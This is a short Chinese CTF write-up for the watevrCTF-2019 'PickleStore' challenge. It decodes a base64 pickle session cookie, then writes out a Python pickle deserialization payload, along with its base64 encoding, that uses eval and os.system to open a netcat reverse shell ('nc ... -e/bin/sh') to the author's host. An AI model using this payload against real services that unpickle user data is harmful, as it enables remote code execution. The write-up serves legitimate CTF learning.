# [watevrCTF-2019]PickleStore
题目名字的描述就是 pickle,感觉就是 pickle 反序列化,F12cookie 是
session=gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu
pickle:
# pickle.dumps( obj )
序列化对象,并将结果数据流写入到文件对象中。参数 protocol 是序列化模式,默认值为 0,表示以文本的形式序列化。protocol 的值还可以是 1 或 2,表示以二进制的形式序列化。
# pickle.loads()
反序列化对象。将数据解析为一个 Python 对象
我们可以大概明确两点,这段信息是被序列化出来的,序列化后的信息被 base64 加密过再放到 cookie 里。
我们可以试着反推一下我们最原始的 cookie 信息,理想的情况下他至少应该保存着我们有 500 块钱的信息。
import pickle
from base64 import *
enc = "gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu"
print(pickle.loads(b64decode(enc)))
#运行后回显:{'money': 500, 'history': [], 'anti_tamper_hmac': 'aa1ba4de55048cf20e0a7a63b7f8eb62'}
运行结果如下,果真显示了信息。
{'money': 500, 'history': [], 'anti_tamper_hmac': 'aa1ba4de55048cf20e0a7a63b7f8eb62'}
这段 json 串 "anti_tamper_hmac" 字段明显的表明了,使用了加密手段。hmac 加密,了解的不是很深刻。
本来想着要去爆破什么的,不过 md5 级别的爆破还是算了吧。
然后东哥说,这个东西可以直接 getshell,也别去碰撞了。
# getshell 构造
由于要拿 shell,所以要先用小号去 basic 里启动一个靶机。
我此时用的 ip 是随到的。
# 构造 nc 的序列化
import base64
import pickle
class A(object):
def __reduce__(self):
return (eval, ("__import__('os').system('nc 174.0.0.223 9999 -e/bin/sh')",))
a = A()
print( base64.b64encode( pickle.dumps(a) ) )
#gANjYnVpbHRpbnMKZXZhbApxAFg4AAAAX19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ25jIDE3NC4wLjAuMjIzIDk5OTkgLWUvYmluL3NoJylxAYVxAlJxAy4=
拿到 flag
参考链接:https://www.cnblogs.com/h3zh1/p/12698897.html